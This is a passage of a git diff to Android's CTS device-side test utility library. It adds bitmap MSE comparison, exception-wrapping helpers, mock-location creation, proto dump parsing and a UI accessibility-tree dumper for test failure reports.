-// of android.support.test target. Will be removed after androidx.test CTS conversion is complete.
 java_library_static {
     name: "compatibility-device-util-axt",
     sdk_version: "test_current",
 
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "src/**/*.aidl",
     ],
 
diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS
index b61fd53..55fc077 100644
--- a/common/device-side/util-axt/OWNERS
+++ b/common/device-side/util-axt/OWNERS
@@ -1,2 +1,2 @@
 
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java
index 88753b1..d1fb166 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BitmapUtils.java
@@ -16,6 +16,8 @@
 
 package com.android.compatibility.common.util;
 
+import static org.junit.Assert.assertTrue;
+
 import android.app.WallpaperManager;
 import android.content.Context;
 import android.graphics.Bitmap;
@@ -56,6 +58,14 @@
                     + "bmp2=(" + bmp2.getWidth() + "x" + bmp2.getHeight() + ")");
             return Boolean.FALSE;
         }
+
+        if (bmp1.getConfig() != bmp2.getConfig()) {
+            Log.d(TAG, "compareBitmaps() failed because configs don't match "
+                    + "bmp1=(" + bmp1.getConfig() + "), "
+                    + "bmp2=(" + bmp2.getConfig() + ")");
+            return Boolean.FALSE;
+        }
+
         return null;
     }
 
@@ -177,4 +187,78 @@
             e.printStackTrace();
         }
     }
+
+    // Compare expected to actual to see if their diff is less than mseMargin.
+    // lessThanMargin is to indicate whether we expect the diff to be
+    // "less than" or "no less than".
+    public static boolean compareBitmapsMse(Bitmap expected, Bitmap actual,
+            int mseMargin, boolean lessThanMargin, boolean isPremultiplied) {
+        final Boolean basicComparison = compareBasicBitmapsInfo(expected, actual);
+        if (basicComparison != null) return basicComparison.booleanValue();
+
+        double mse = 0;
+        int width = expected.getWidth();
+        int height = expected.getHeight();
+
+        // Bitmap.getPixels() returns colors with non-premultiplied ARGB values.
+        int[] expColors = new int [width * height];
+        expected.getPixels(expColors, 0, width, 0, 0, width, height);
+
+        int[] actualColors = new int [width * height];
+        actual.getPixels(actualColors, 0, width, 0, 0, width, height);
+
+        for (int row = 0; row < height; ++row) {
+            for (int col = 0; col < width; ++col) {
+                int idx = row * width + col;
+                mse += distance(expColors[idx], actualColors[idx], isPremultiplied);
+            }
+        }
+        mse /= width * height;
+
+        Log.i(TAG, "MSE: " + mse);
+        if (lessThanMargin) {
+            if (mse > mseMargin) {
+                Log.d(TAG, "MSE too large for normal case: " + mse);
+                return false;
+            }
+            return true;
+        } else {
+            if (mse <= mseMargin) {
+                Log.d(TAG, "MSE too small for abnormal case: " + mse);
+                return false;
+            }
+            return true;
+        }
+    }
+
+    // Same as above, but asserts compareBitmapsMse's return value.
+    public static void assertBitmapsMse(Bitmap expected, Bitmap actual,
+            int mseMargin, boolean lessThanMargin, boolean isPremultiplied) {
+        assertTrue(compareBitmapsMse(expected, actual, mseMargin, lessThanMargin, isPremultiplied));
+    }
+
+    private static int multiplyAlpha(int color, int alpha) {
+        return (color * alpha + 127) / 255;
+    }
+
+    // For the Bitmap with Alpha, multiply the Alpha values to get the effective
+    // RGB colors and then compute the color-distance.
+    private static double distance(int expect, int actual, boolean isPremultiplied) {
+        if (isPremultiplied) {
+            final int a1 = Color.alpha(actual);
+            final int a2 = Color.alpha(expect);
+            final int r = multiplyAlpha(Color.red(actual), a1) -
+                    multiplyAlpha(Color.red(expect), a2);
+            final int g = multiplyAlpha(Color.green(actual), a1) -
+                    multiplyAlpha(Color.green(expect), a2);
+            final int b = multiplyAlpha(Color.blue(actual), a1) -
+                    multiplyAlpha(Color.blue(expect), a2);
+            return r * r + g * g + b * b;
+        } else {
+            int r = Color.red(actual) - Color.red(expect);
+            int g = Color.green(actual) - Color.green(expect);
+            int b = Color.blue(actual) - Color.blue(expect);
+            return r * r + g * g + b * b;
+        }
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExceptionUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExceptionUtils.java
new file mode 100644
index 0000000..0899966
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExceptionUtils.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.function.Function;
+
+/**
+ * Utilities to deal with exceptions
+ */
+public class ExceptionUtils {
+    private ExceptionUtils() {}
+
+    /**
+     * Rethrow a given exception, optionally wrapping it in a {@link RuntimeException}
+     */
+    public static RuntimeException propagate(@NonNull Throwable t) {
+        if (t == null) {
+            throw new NullPointerException();
+        }
+        propagateIfInstanceOf(t, Error.class);
+        propagateIfInstanceOf(t, RuntimeException.class);
+        throw new RuntimeException(t);
+    }
+
+    /**
+     * Rethrow a given exception, if it's of type {@code E}
+     */
+    public static <E extends Throwable> void propagateIfInstanceOf(
+            @Nullable Throwable t, Class<E> c) throws E {
+        if (t != null && c.isInstance(t)) {
+            throw c.cast(t);
+        }
+    }
+
+    /**
+     * Gets the root {@link Throwable#getCause() cause} of {@code t}
+     */
+    public static @NonNull Throwable getRootCause(@NonNull Throwable t) {
+        while (t.getCause() != null) t = t.getCause();
+        return t;
+    }
+
+    /**
+     * Appends {@code cause} at the end of the causal chain of {@code t}
+     *
+     * @return {@code t} for convenience
+     */
+    public static @NonNull Throwable appendCause(@NonNull Throwable t, @Nullable Throwable cause) {
+        if (cause != null) {
+            getRootCause(t).initCause(cause);
+        }
+        return t;
+    }
+
+    /**
+     * Runs the given {@code action}, and if any exceptions are thrown in the process, applies
+     * given {@code exceptionTransformer}, rethrowing the result.
+     */
+    public static <R> R wrappingExceptions(
+            Function<Throwable, Throwable> exceptionTransformer, ThrowingSupplier<R> action) {
+        try {
+            return action.get();
+        } catch (Throwable t) {
+            Throwable transformed;
+            try {
+                transformed = exceptionTransformer.apply(t);
+            } catch (Throwable t2) {
+                transformed = new RuntimeException("Failed to apply exception transformation",
+                        ExceptionUtils.appendCause(t2, t));
+            }
+            throw ExceptionUtils.propagate(transformed);
+        }
+    }
+
+    /**
+     * @see #wrappingExceptions(Function, ThrowingSupplier)
+     */
+    public static void wrappingExceptions(
+            Function<Throwable, Throwable> exceptionTransformer, ThrowingRunnable action) {
+        wrappingExceptions(exceptionTransformer, () -> {
+            action.run();
+            return null;
+        });
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java
index ceada01..b628bce 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java
@@ -54,7 +54,12 @@
     public static final int S_IXOTH = 00001;
 
     static {
-        System.loadLibrary("cts_jni");
+        try {
+            // Required only for the native methods.
+            System.loadLibrary("cts_jni");
+        } catch (UnsatisfiedLinkError e) {
+            System.out.println("JNI not loaded");
+        }
     }
 
     public static class FileStatus {
@@ -93,13 +98,18 @@
      * @param status object to set the fields on
      * @param statLinks or don't stat links (lstat vs stat)
      * @return whether or not we were able to stat the file
+     *
+     * If you call this method, make sure to link in the libcts_jni library.
      */
     public native static boolean getFileStatus(String path, FileStatus status, boolean statLinks);
 
+    /** If you call this method, make sure to link in the libcts_jni library. */
     public native static String getUserName(int uid);
 
+    /** If you call this method, make sure to link in the libcts_jni library. */
     public native static String getGroupName(int gid);
 
+    /** If you call this method, make sure to link in the libcts_jni library. */
     public native static int setPermissions(String file, int mode);
 
     /**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FutureResultActivity.kt b/common/device-side/util-axt/src/com/android/compatibility/common/util/FutureResultActivity.kt
new file mode 100644
index 0000000..49397a5
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FutureResultActivity.kt
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util
+
+import android.app.Activity
+import android.content.Intent
+import java.util.concurrent.CompletableFuture
+import java.util.concurrent.ConcurrentHashMap
+import java.util.concurrent.atomic.AtomicInteger
+
+/**
+ * An [Activity] that exposes a special [startActivityForResult],
+ * returning future resultCode as a [CompletableFuture]
+ */
+class FutureResultActivity : Activity() {
+
+    companion object {
+
+        /** requestCode -> Future<resultCode> */
+        private val requests = ConcurrentHashMap<Int, CompletableFuture<Int>>()
+        private val nextRequestCode = AtomicInteger(0)
+
+        fun doAndAwaitStart(act: () -> Unit): CompletableFuture<Int> {
+            val requestCode = nextRequestCode.get()
+            act()
+            PollingCheck.waitFor(60_000) {
+                nextRequestCode.get() >= requestCode + 1
+            }
+            return requests[requestCode]!!
+        }
+    }
+
+    override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
+        requests[requestCode]!!.complete(resultCode)
+    }
+
+    fun startActivityForResult(intent: Intent): CompletableFuture<Int> {
+        val requestCode = nextRequestCode.getAndIncrement()
+        val future = CompletableFuture<Int>()
+        requests[requestCode] = future
+        startActivityForResult(intent, requestCode)
+        return future
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
index f233851..c1f4ef5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
@@ -17,24 +17,44 @@
 package com.android.compatibility.common.util;
 
 import android.app.Instrumentation;
-import android.util.Log;
+import android.location.Location;
+import android.os.SystemClock;
 
 import java.io.IOException;
+import java.util.Random;
 
 public class LocationUtils {
-    private static String TAG = "LocationUtils";
+
+    private static final double MIN_LATITUDE = -90D;
+    private static final double MAX_LATITUDE = 90D;
+    private static final double MIN_LONGITUDE = -180D;
+    private static final double MAX_LONGITUDE = 180D;
+
+    private static final float MIN_ACCURACY = 1;
+    private static final float MAX_ACCURACY = 100;
 
     public static void registerMockLocationProvider(Instrumentation instrumentation,
-            boolean enable) {
-        StringBuilder command = new StringBuilder();
-        command.append("appops set ");
-        command.append(instrumentation.getContext().getPackageName());
-        command.append(" android:mock_location ");
-        command.append(enable ? "allow" : "deny");
-        try {
-            SystemUtil.runShellCommand(instrumentation, command.toString());
-        } catch (IOException e) {
-            Log.e(TAG, "Error managing mock location app. Command: " + command, e);
-        }
+            boolean enable) throws IOException {
+        SystemUtil.runShellCommand(instrumentation, "appops set "
+                + instrumentation.getContext().getPackageName()
+                + " android:mock_location "
+                + (enable ? "allow" : "deny"));
+    }
+
+    public static Location createLocation(String provider, Random random) {
+        return createLocation(provider,
+                MIN_LATITUDE + random.nextDouble() * (MAX_LATITUDE - MIN_LATITUDE),
+                MIN_LONGITUDE + random.nextDouble() * (MAX_LONGITUDE - MIN_LONGITUDE),
+                MIN_ACCURACY + random.nextFloat() * (MAX_ACCURACY - MIN_ACCURACY));
+    }
+
+    public static Location createLocation(String provider, double latitude, double longitude, float accuracy) {
+        Location location = new Location(provider);
+        location.setLatitude(latitude);
+        location.setLongitude(longitude);
+        location.setAccuracy(accuracy);
+        location.setTime(System.currentTimeMillis());
+        location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
+        return location;
     }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ProtoUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ProtoUtils.java
new file mode 100644
index 0000000..ac99446
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ProtoUtils.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.UiAutomation;
+
+/**
+ * Utility class for proto dumps.
+ */
+public class ProtoUtils {
+    public static final String DUMPSYS_JOB_SCHEDULER = "dumpsys jobscheduler --proto";
+
+    /**
+     * Call onto the device with an adb shell command and get the results of
+     * that as a proto of the given type.
+     *
+     * @param clazz  A protobuf message class. e.g. MyProto
+     * @param command The adb shell command to run. e.g. "dumpsys jobscheduler --proto"
+     */
+    public static <T> T getProto(UiAutomation automation, Class<T> clazz, String command)
+            throws Exception {
+        return clazz.cast(clazz.getDeclaredMethod("parseFrom", byte[].class)
+                .invoke(null, SystemUtil.runShellCommandByteOutput(automation, command)));
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
index 16fce10..6a8768c 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
@@ -31,9 +31,11 @@
 import androidx.annotation.NonNull;
 import androidx.test.InstrumentationRegistry;
 
+import java.io.ByteArrayOutputStream;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.util.concurrent.Callable;
+import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Predicate;
 
 public class SystemUtil {
@@ -81,21 +83,30 @@
      */
     public static String runShellCommand(UiAutomation automation, String cmd)
             throws IOException {
+        return new String(runShellCommandByteOutput(automation, cmd));
+    }
+
+    /**
+     * Executes a shell command using shell user identity, and return the standard output as a byte
+     * array
+     * <p>Note: calling this function requires API level 21 or above
+     *
+     * @param automation {@link UiAutomation} instance, obtained from a test running in
+     *                   instrumentation framework
+     * @param cmd        the command to run
+     * @return the standard output of the command as a byte array
+     */
+    static byte[] runShellCommandByteOutput(UiAutomation automation, String cmd)
+            throws IOException {
         Log.v(TAG, "Running command: " + cmd);
         if (cmd.startsWith("pm grant ") || cmd.startsWith("pm revoke ")) {
             throw new UnsupportedOperationException("Use UiAutomation.grantRuntimePermission() "
                     + "or revokeRuntimePermission() directly, which are more robust.");
         }
         ParcelFileDescriptor pfd = automation.executeShellCommand(cmd);
-        byte[] buf = new byte[512];
-        int bytesRead;
-        FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
-        StringBuffer stdout = new StringBuffer();
-        while ((bytesRead = fis.read(buf)) != -1) {
-            stdout.append(new String(buf, 0, bytesRead));
+        try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+            return FileUtils.readInputStreamFully(fis);
         }
-        fis.close();
-        return stdout.toString();
     }
 
     /**
@@ -159,6 +170,16 @@
     }
 
     /**
+     * Runs a {@link ThrowingSupplier} adopting Shell's permissions, and returning the result.
+     */
+    public static <T> T runWithShellPermissionIdentity(@NonNull ThrowingSupplier<T> supplier) {
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        AtomicReference<T> result = new AtomicReference<>();
+        runWithShellPermissionIdentity(automan, () -> result.set(supplier.get()));
+        return result.get();
+    }
+
+    /**
      * Runs a {@link ThrowingRunnable} adopting Shell's permissions.
      */
     public static void runWithShellPermissionIdentity(@NonNull ThrowingRunnable runnable) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ThrowingSupplier.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ThrowingSupplier.java
new file mode 100644
index 0000000..f1e0006
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ThrowingSupplier.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import java.util.function.Supplier;
+
+/**
+ * Similar to {@link Supplier} but has {@code throws Exception}.
+ *
+ * @param <T> type of the value produced
+ */
+public interface ThrowingSupplier<T> {
+    /**
+     * Similar to {@link Supplier#get} but has {@code throws Exception}.
+     */
+    T get() throws Exception;
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
new file mode 100644
index 0000000..10f94c8
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -0,0 +1,69 @@
+package com.android.compatibility.common.util;
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+import static org.junit.Assert.assertNotNull;
+
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.InstrumentationRegistry;
+
+public class UiAutomatorUtils {
+    private UiAutomatorUtils() {}
+
+    public static UiDevice getUiDevice() {
+        return UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+    }
+
+    public static UiObject2 waitFindObject(BySelector selector) throws UiObjectNotFoundException {
+        return waitFindObject(selector, 100_000);
+    }
+
+    public static UiObject2 waitFindObject(BySelector selector, long timeoutMs)
+            throws UiObjectNotFoundException {
+        final UiObject2 view = waitFindObjectOrNull(selector, timeoutMs);
+        ExceptionUtils.wrappingExceptions(UiDumpUtils::wrapWithUiDump, () -> {
+            assertNotNull("View not found after waiting for " + timeoutMs + "ms: " + selector,
+                    view);
+        });
+        return view;
+    }
+
+    public static UiObject2 waitFindObjectOrNull(BySelector selector, long timeoutMs)
+            throws UiObjectNotFoundException {
+        UiObject2 view = null;
+        long start = System.currentTimeMillis();
+        while (view == null && start + timeoutMs > System.currentTimeMillis()) {
+            view = getUiDevice().wait(Until.findObject(selector), timeoutMs / 10);
+
+            if (view == null) {
+                UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
+                scrollable.setSwipeDeadZonePercentage(0.25);
+                if (scrollable.exists()) {
+                    scrollable.scrollForward();
+                }
+            }
+        }
+        return view;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiDumpUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiDumpUtils.java
new file mode 100644
index 0000000..a36c1eb
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiDumpUtils.java
@@ -0,0 +1,566 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.text.TextUtils.isEmpty;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
+import android.view.accessibility.AccessibilityWindowInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.util.Arrays;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.Set;
+import java.util.function.BiFunction;
+import java.util.function.BiPredicate;
+import java.util.function.Consumer;
+import java.util.function.Function;
+import java.util.function.ToIntFunction;
+import java.util.stream.Stream;
+
+/**
+ * Utilities to dump the view hierrarchy as an indented tree
+ *
+ * @see #dumpNodes(AccessibilityNodeInfo, StringBuilder)
+ * @see #wrapWithUiDump(Throwable)
+ */
+@SuppressWarnings({"PointlessBitwiseExpression"})
+public class UiDumpUtils {
+    private UiDumpUtils() {}
+
+    private static final boolean CONCISE = false;
+    private static final boolean SHOW_ACTIONS = false;
+    private static final boolean IGNORE_INVISIBLE = false;
+
+    private static final int IGNORED_ACTIONS = 0
+            | AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS
+            | AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS
+            | AccessibilityNodeInfo.ACTION_FOCUS
+            | AccessibilityNodeInfo.ACTION_NEXT_AT_MOVEMENT_GRANULARITY
+            | AccessibilityNodeInfo.ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY
+            | AccessibilityNodeInfo.ACTION_SELECT
+            | AccessibilityNodeInfo.ACTION_SET_SELECTION
+            | AccessibilityNodeInfo.ACTION_CLEAR_SELECTION
+            | AccessibilityNodeInfo.ACTION_PREVIOUS_HTML_ELEMENT
+            | AccessibilityNodeInfo.ACTION_NEXT_HTML_ELEMENT
+            ;
+
+    private static final int SPECIALLY_HANDLED_ACTIONS = 0
+            | AccessibilityNodeInfo.ACTION_CLICK
+            | AccessibilityNodeInfo.ACTION_LONG_CLICK
+            | AccessibilityNodeInfo.ACTION_EXPAND
+            | AccessibilityNodeInfo.ACTION_COLLAPSE
+            | AccessibilityNodeInfo.ACTION_FOCUS
+            | AccessibilityNodeInfo.ACTION_CLEAR_FOCUS
+            | AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
+            | AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD
+            | AccessibilityNodeInfo.ACTION_SET_TEXT
+            ;
+
+    /** name -> typical_value */
+    private static Map<String, Boolean> sNodeFlags = new LinkedHashMap<>();
+    static {
+        sNodeFlags.put("focused", false);
+        sNodeFlags.put("selected", false);
+        sNodeFlags.put("contextClickable", false);
+        sNodeFlags.put("dismissable", false);
+        sNodeFlags.put("enabled", true);
+        sNodeFlags.put("password", false);
+        sNodeFlags.put("visibleToUser", true);
+        sNodeFlags.put("contentInvalid", false);
+        sNodeFlags.put("heading", false);
+        sNodeFlags.put("showingHintText", false);
+
+        // Less important flags below
+        // Too spammy to report all, but can uncomment what's necessary
+
+//        sNodeFlags.put("focusable", true);
+//        sNodeFlags.put("accessibilityFocused", false);
+//        sNodeFlags.put("screenReaderFocusable", true);
+//        sNodeFlags.put("clickable", false);
+//        sNodeFlags.put("longClickable", false);
+//        sNodeFlags.put("checkable", false);
+//        sNodeFlags.put("checked", false);
+//        sNodeFlags.put("editable", false);
+//        sNodeFlags.put("scrollable", false);
+//        sNodeFlags.put("importantForAccessibility", true);
+//        sNodeFlags.put("multiLine", false);
+    }
+
+    /** action -> pictogram */
+    private static Map<AccessibilityAction, String> sNodeActions = new LinkedHashMap<>();
+    static {
+        sNodeActions.put(AccessibilityAction.ACTION_PASTE, "\uD83D\uDCCB");
+        sNodeActions.put(AccessibilityAction.ACTION_CUT, "✂");
+        sNodeActions.put(AccessibilityAction.ACTION_COPY, "⎘");
+        sNodeActions.put(AccessibilityAction.ACTION_SCROLL_BACKWARD, "←");
+        sNodeActions.put(AccessibilityAction.ACTION_SCROLL_LEFT, "←");
+        sNodeActions.put(AccessibilityAction.ACTION_SCROLL_FORWARD, "→");
+        sNodeActions.put(AccessibilityAction.ACTION_SCROLL_RIGHT, "→");
+        sNodeActions.put(AccessibilityAction.ACTION_SCROLL_DOWN, "↓");
+        sNodeActions.put(AccessibilityAction.ACTION_SCROLL_UP, "↑");
+    }
+
+    private static Instrumentation sInstrumentation = InstrumentationRegistry.getInstrumentation();
+    private static UiAutomation sUiAutomation = sInstrumentation.getUiAutomation();
+
+    private static int sScreenArea;
+    static {
+        Point displaySize = new Point();
+        sInstrumentation.getContext()
+                .getSystemService(WindowManager.class)
+                .getDefaultDisplay()
+                .getRealSize(displaySize);
+        sScreenArea = displaySize.x * displaySize.y;
+    }
+
+
+    /**
+     * Wraps the given exception, with one containing UI hierrarchy {@link #dumpNodes dump}
+     * in its message.
+     *
+     * <p>
+     * Can be used together with {@link ExceptionUtils#wrappingExceptions}, e.g:
+     * {@code
+     *     ExceptionUtils.wrappingExceptions(UiDumpUtils::wrapWithUiDump, () -> {
+     *         // UI-testing code
+     *     });
+     * }
+     */
+    public static UiDumpWrapperException wrapWithUiDump(Throwable cause) {
+        return (cause instanceof UiDumpWrapperException)
+                ? (UiDumpWrapperException) cause
+                : new UiDumpWrapperException(cause);
+    }
+
+    /**
+     * Dumps UI hierarchy with a given {@code root} as indented text tree into {@code out}.
+     */
+    public static void dumpNodes(AccessibilityNodeInfo root, StringBuilder out) {
+        if (root == null) {
+            appendNode(out, root);
+            return;
+        }
+
+        out.append("--- ").append(root.getPackageName()).append(" ---\n|");
+
+        recursively(root, AccessibilityNodeInfo::getChildCount, AccessibilityNodeInfo::getChild,
+                node -> {
+                    if (appendNode(out, node)) {
+                        out.append("\n|");
+                    }
+                },
+                action -> node -> {
+                    out.append("  ");
+                    action.accept(node);
+                });
+    }
+
+    private static <T> void recursively(T node,
+            ToIntFunction<T> getChildCount, BiFunction<T, Integer, T> getChildAt,
+            Consumer<T> action, Function<Consumer<T>, Consumer<T>> actionChange) {
+        if (node == null) return;
+
+        action.accept(node);
+        Consumer<T> childAction = actionChange.apply(action);
+
+        int size = getChildCount.applyAsInt(node);
+        for (int i = 0; i < size; i++) {
+            recursively(getChildAt.apply(node, i),
+                    getChildCount, getChildAt, childAction, actionChange);
+        }
+    }
+
+    private static StringBuilder appendWindow(AccessibilityWindowInfo window, StringBuilder out) {
+        if (window == null) {
+            out.append("<null window>");
+        } else {
+            if (!isEmpty(window.getTitle())) {
+                out.append(window.getTitle());
+                if (CONCISE) return out;
+                out.append(" ");
+            }
+            out.append(valueToString(
+                    AccessibilityWindowInfo.class, "TYPE_", window.getType())).append(" ");
+            if (CONCISE) return out;
+            appendArea(out, window::getBoundsInScreen);
+
+            Rect bounds = new Rect();
+            window.getBoundsInScreen(bounds);
+            out.append(bounds.width()).append("x").append(bounds.height()).append(" ");
+            if (window.isInPictureInPictureMode()) out.append("#PIP ");
+        }
+        return out;
+    }
+
+    private static void appendArea(StringBuilder out, Consumer<Rect> getBoundsInScreen) {
+        Rect rect = new Rect();
+        getBoundsInScreen.accept(rect);
+        out.append("size:");
+        out.append(toStringRounding((float) area(rect) * 100 / sScreenArea)).append("% ");
+    }
+
+    private static boolean appendNode(StringBuilder out, AccessibilityNodeInfo node) {
+        if (node == null) {
+            out.append("<null node>");
+            return true;
+        }
+
+        if (IGNORE_INVISIBLE && !node.isVisibleToUser()) return false;
+
+        boolean markedClickable = false;
+        boolean markedNonFocusable = false;
+
+        try {
+            if (node.isFocused() || node.isAccessibilityFocused()) {
+                out.append(">");
+            }
+
+            if ((node.getActions() & AccessibilityNodeInfo.ACTION_EXPAND) != 0) {
+                out.append("[+] ");
+            }
+            if ((node.getActions() & AccessibilityNodeInfo.ACTION_COLLAPSE) != 0) {
+                out.append("[-] ");
+            }
+
+            CharSequence txt = node.getText();
+            if (node.isCheckable()) {
+                out.append("[").append(node.isChecked() ? "X" : "_").append("] ");
+            } else if (node.isEditable()) {
+                if (txt == null) txt = "";
+                out.append("[");
+                appendTextWithCursor(out, node, txt);
+                out.append("] ");
+            } else if (node.isClickable()) {
+                markedClickable = true;
+                out.append("[");
